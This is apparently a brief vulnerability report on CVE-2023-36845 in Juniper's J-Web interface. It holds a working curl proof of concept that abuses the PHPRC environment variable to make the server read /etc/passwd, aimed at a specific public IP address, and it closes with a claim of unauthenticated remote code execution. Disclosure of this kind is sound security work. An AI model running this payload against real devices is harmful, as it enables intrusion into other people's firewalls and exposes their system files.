Remote code execution [CVE-2023-36845]

How it was found

CVE-2023-36845

A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series and SRX Series allows an unauthenticated, network-based attacker to control certain, important environments variables. Utilizing a crafted request an attacker is able to modify a certain PHP environment variable leading to partial loss of integrity,

POC :

with curl 41.205.30.222 = host-41.205.30.222.mtn.cm

curl -sk "https://41.205.30.222/?PHPRC=/dev/fd/0" -X POST -d 'auto_prepend_file="/etc/passwd"'

{F2727487}

Impact

CVE-2023-36845 that allows an unauthenticated and remote attacker to execute arbitrary code on Juniper firewalls without creating a file on the system.